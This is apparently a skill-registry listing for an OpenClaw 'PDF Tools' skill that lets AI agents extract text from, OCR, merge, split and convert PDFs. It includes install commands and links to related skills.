A comprehensive suite of command-line utilities for AI agents to analyze, extract text from, and manipulate PDF documents.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install pdf-1wso5
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install pdf-1wso5 using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is PDF Tools?
The PDF Tools skill is a robust integration designed for AI coding agents to interact deeply with PDF files. By utilizing powerful backends like poppler-utils and qpdf, this skill enables agents to perform complex operations such as text extraction with layout preservation, metadata analysis, and document transformation. These Openclaw Skills bridge the gap between static document formats and the dynamic data needs of modern LLMs, allowing for seamless document processing within your development workflow.
Beyond simple reading, this skill supports advanced document lifecycle management including merging, splitting, and converting PDFs into high-resolution images. It is an essential component for any agent-based workflow that requires parsing technical documentation, legal papers, or data-rich reports.
PDF Tools Use Cases
- Extracting structured text from technical manuals for AI-driven analysis.
- Performing OCR on scanned invoices or historical documents to create searchable text layers.
- Automating the merging of multiple generated reports into a single master document.
- Extracting specific page ranges to reduce token usage when feeding data to an LLM.
- Converting PDF pages to PNG or JPEG format for visual verification or image-to-text workflows.
How PDF Tools Works
- The AI agent invokes specific CLI commands mapped to poppler-utils or qpdf binaries based on the requested task.
- For text extraction, the tool parses the document stream and can optionally maintain the original visual layout.
- If a document is identified as a scanned image, the agent can trigger an OCR layer using ocrmypdf.
- Metadata and document properties are retrieved via pdfinfo to inform the agent about page counts, security settings, and authorship.
- All processed data is either streamed to stdout for immediate AI consumption or saved to the file system as part of a larger Openclaw Skills automation.
PDF Tools Setup
To use these Openclaw Skills, you must have poppler-utils installed on your system. Optional tools like qpdf and ocrmypdf provide advanced features.
# Install core dependencies
sudo apt-get install -y poppler-utils qpdf # Linux
brew install poppler qpdf # macOS
# Install OCR support
pip install ocrmypdf
Note: Ensure the openclaw-core utility is active in your environment to facilitate communication between the agent and the PDF binaries.
PDF Tools Data Schema & Taxonomy
The skill interacts with PDF files and generates various outputs summarized below:
| Function | Output Type | Description |
|---|---|---|
| Text Extraction | String / TXT | UTF-8 encoded text content |
| Metadata | JSON / Map | Document properties like Title and Page Count |
| Image Conversion | PNG / JPEG | High-resolution raster images of pages |
| Optimization | Compressed or web-linearized document files | |
| Security | Encrypted or decrypted document versions |
PDF Tools Advanced Features
- Advanced OCR with multi-language support (e.g., eng+rus) and image preprocessing.
- Document repair capabilities for corrupted PDF files using qpdf.
- Layout-aware text extraction to preserve the tabular structure of data.
- Python-based integration for sophisticated table parsing via pdfplumber.
- Secure document handling including password removal and 256-bit encryption.
SKILL.md
Loading
Related Openclaw Skills
OpenClaw Backup & Restore
A professional-grade utility for backing up, restoring, and synchronizing your AI agent configurations and custom skills across multiple machines.
OpenClaw Backup Skill
A robust backup and synchronization utility for managing OpenClaw configurations, skills, and settings across multiple environments.
Lost Bitcoin Finder
A specialized blockchain forensics toolkit for identifying and analyzing dormant, burned, and potentially lost Bitcoin addresses.
Lost Bitcoin Finder
A specialized blockchain analysis tool designed to identify, track, and analyze dormant or potentially lost Bitcoin addresses.
Phantom Wallet Management
A comprehensive tool for managing Phantom wallet accounts, custom networks, and blockchain interactions across Solana and EVM chains.
Phantom Wallet
A comprehensive skill for managing Solana and EVM-compatible assets, networks, and dApp interactions through the Phantom interface and CLI.
METADATA
Featured*
